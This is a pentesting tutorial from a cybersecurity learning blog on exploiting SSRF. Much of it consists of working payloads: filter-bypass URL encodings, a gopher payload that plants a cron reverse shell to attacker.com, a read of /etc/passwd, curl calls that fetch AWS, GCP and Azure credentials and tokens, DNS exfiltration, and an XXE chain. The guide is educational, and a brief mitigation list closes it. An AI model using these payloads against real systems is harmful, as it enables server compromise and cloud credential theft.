Skip to content
-
Learn Cybersecurity & Ethical Hacking in Nepal with CyberSamir — Start Learning →
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Penetration testing

SSRF Exploitation: How Attackers Bypass Filters & Access Cloud Metadata

By cybersamir
June 12, 2025 2 Min Read
Comments Off on SSRF Exploitation: How Attackers Bypass Filters & Access Cloud Metadata

SSRF Exploitation: Bypassing Filters & Cloud Metadata Attacks

Complete guide to Server-Side Request Forgery with advanced bypass techniques and cloud instance exploitation

⚠️ Ethical Disclaimer: This guide is for educational purposes only. Only test systems you own or have explicit permission to test. Unauthorized testing is illegal.

Introduction to SSRF

Server-Side Request Forgery (SSRF) is a vulnerability that allows attackers to make requests from the server to internal or external resources. This can lead to:

  • Internal network enumeration
  • Cloud metadata exposure
  • Remote code execution
  • Sensitive data disclosure

Basic SSRF Exploitation

Common SSRF Vectors

Vector Example Risk
URL Parameters image?url=http://attacker.com External interaction
File Uploads PDF generators, image processors Internal network access
Webhooks callback URLs Internal service interaction

Bypassing SSRF Filters

1. URL Obfuscation Techniques

# Using alternative IP formats
http://2130706433/ (127.0.0.1)
http://0x7f000001/ (127.0.0.1)
http://0177.0000.0000.0001/ (127.0.0.1)

# Using domain redirection
http://localhost@attacker.com
http://attacker.com#localhost

# Using URL encoding
http://%6c%6f%63%61%6c%68%6f%73%74 (localhost)
http://%32%31%37%2e%30%2e%30%2e%31 (127.0.0.1)

2. Protocol Switching

# Using file protocol
file:///etc/passwd

# Using gopher protocol (for Redis, Memcached, etc.)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

# Using dict protocol
dict://127.0.0.1:6379/info

Cloud Metadata API Exploitation

AWS Metadata Service

AWS metadata endpoint (v1 and v2) contains sensitive instance information:

# Classic metadata endpoint (v1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/identity-credentials/ec2/security-credentials/ec2-instance/

# IMDSv2 (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

Google Cloud Metadata

GCP metadata endpoint contains similar sensitive information:

# Standard metadata endpoint
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# With required header
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure Metadata Service

Azure metadata endpoint provides instance information:

# Azure metadata endpoint
http://169.254.169.254/metadata/instance?api-version=2020-06-01

# With required header
curl -H "Metadata: true" http://169.254.169.254/metadata/instance?api-version=2020-06-01

Blind SSRF Techniques

1. Time-Based Detection

Use response times to identify internal services:

# Test for open ports
http://internal-service:22
http://internal-service:80
http://internal-service:443

# Compare response times
- Fast response: Port likely open
- Slow response: Port likely filtered
- Timeout: Port likely closed

2. DNS Exfiltration

Use DNS lookups to leak data:

# Leak data via subdomains
http://attacker-controlled.com/leak?data=secret

# The server will make DNS lookup:
secret.attacker-controlled.com

3. Out-of-Band (OOB) Techniques

Use external services to detect interactions:

# Using Burp Collaborator
http://xyz.burpcollaborator.net

# Using interactsh
http://xyz.interact.sh

# Using DNS callback
http://attacker.com/$(hostname).xyz

Advanced Exploitation

1. Chaining with XXE

<?xml version="1.0" ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>

2. Port Scanning Internal Networks

# Using HTTP redirects
http://target.com/redirect?url=http://192.168.1.1:22

# Using different protocols
dict://192.168.1.1:22/

Mitigation Techniques

For Developers:

  • Implement allowlists for user-supplied URLs
  • Use proper URL parsing libraries
  • Disable unused protocols (file, gopher, dict)
  • Enforce authentication for metadata services
  • Use network segmentation

For Pentesters:

Always test for SSRF in any functionality that makes external requests. Pay special attention to file processors, webhooks, and URL fetching features.

Conclusion

SSRF remains one of the most dangerous web vulnerabilities, especially in cloud environments. Understanding bypass techniques and cloud metadata services is crucial for both attackers and defenders.

Further Resources

  • OWASP SSRF Guide
  • PayloadsAllTheThings SSRF
  • Cloud Pentesting Methodology
Author

cybersamir

Follow Me
Other Articles
Previous

Why Every Tech Enthusiast Should Learn Ethical Hacking

Next

Burp Suite Cheat Sheet for Penetration Testing

Your ad here

300 x 250 banner slot

Reach Nepali students, developers, and security learners reading about ethical hacking, CTFs, and cyber news.

Book on WhatsApp Or send an email

Sponsors: VPNs, courses, hosting, security tools

Recent Posts

  • How to Recover Money from Online Scam Nepal: 2026 Guide
  • How to Check If Your Data Was Leaked (Nepal 2026 Guide)
  • Is PHP Dead? A 2026 Reckoning
  • Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale
  • How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

Nepal Cyber Shield 2026

Been scammed or hacked?

Act fast: save screenshots, don't delete chats, and report it.

  • 100 Nepal Police emergency line
  • +9779851286770 Nepal Police Cyber Bureau
Report here (Nepal Police) Read the step-by-step reporting guide

Money lost? Call your bank first so they can try to freeze the transfer.

Categories

  • Awareness
  • Blog
  • Career & Learning
  • Cybersecurity
  • Ethical Hacking
  • Nepal Tech & Digital Safety
  • News
  • Penetration testing
  • Tools & Reviews

Latest security alerts

  • pCloud Password Manager Hit by Cyber Attack Involving Email Address Exposure and Login Attempts
  • Suspected Vietnam-Linked Hackers Target Southeast Asia in South China Sea Espionage Campaign
  • Microsoft Store App Found Delivering Vinci RAT Capable of Remote System Control
  • How to Keep Your Security Picture Current When Attackers Move at AI Speed
  • Hackers Trojanize Official Q-Dir and DesktopOK Downloads to Deliver Remote Access Malware
  • PHP Vulnerability And Global Cybersecurity - The Rising Nepal
  • Nepal's digital vulnerability goes beyond PHP - myRepublica
  • SEBON introduces IT policy to strengthen cybersecurity in Nepal’s capital market - OnlineKhabar English News
  • SEBON steps up effort to prevent cyber attacks in stock exchange platform - myRepublica
  • From heartbleed to PHP2Shell: Is Nepal ready for the next cyber crisis? - The Annapurna Express

You May Have Missed

how to recover money from online scam Nepal
Awareness

How to Recover Money from Online Scam Nepal: 2026 Guide

cybersamir
By cybersamir
November 28, 2026
data leak check nepal
Awareness

How to Check If Your Data Was Leaked (Nepal 2026 Guide)

cybersamir
By cybersamir
November 26, 2026
Cinematic PHP programming thumbnail with the headline “Is PHP Dead? 2026 Reckoning,” a glowing blue PHP elephant, and CyberSamir branding.
Awareness

Is PHP Dead? A 2026 Reckoning

cybersamir
By cybersamir
October 25, 2026
ctf top 10 selected teams
News

Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale

cybersamir
By cybersamir
October 4, 2026
How to report cybercrime in Nepal Cyber Bureau complaint guide
Awareness

How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

cybersamir
By cybersamir
September 27, 2026
Nepal Data Breach: 462,600 Citizens' IDs Allegedly Leaked," subtext "Dark web forum post claims mass PII theft from a .gov.np portal
News

Nepal Government Portal Allegedly Breached: 462,600 Citizens’ Data Reportedly Listed for Sale on Dark Web

cybersamir
By cybersamir
September 24, 2026
Cybersecurity

Top 10 Security Mistakes Nepali Websites Still Make in 2026

cybersamir
By cybersamir
September 23, 2026
News Cybersecurity

Nepal Data Hub Ransomware Attack: NEPSE Shutdown Explained

cybersamir
By cybersamir
September 23, 2026
News

Nepal Cyber Shield 2026: Everything You Need to Know About Nepal’s National CTF Championship

cybersamir
By cybersamir
September 19, 2026
CS

CYBERSAMIR

Explore. Hack. Secure. Learn.

About Us

CyberSamir provides cutting-edge insights into ethical hacking, penetration testing, and cybersecurity defense strategies for professionals and enthusiasts alike.

500+ Articles
15K+ Members
30+ Tools

Resources

  • Tutorials
  • Our Services
  • Tools
  • CTF Walkthroughs
  • Security News

Community

  • WhatsApp Group
  • Discord Server
  • Telegram Group
  • Upcoming Events
  • Certifications

Follow Us

Cyber Security Events Worldwide

© CyberSamir. All Rights Reserved.

Copyright 2026 — Cyber Samir. All rights reserved. Blogsy WordPress Theme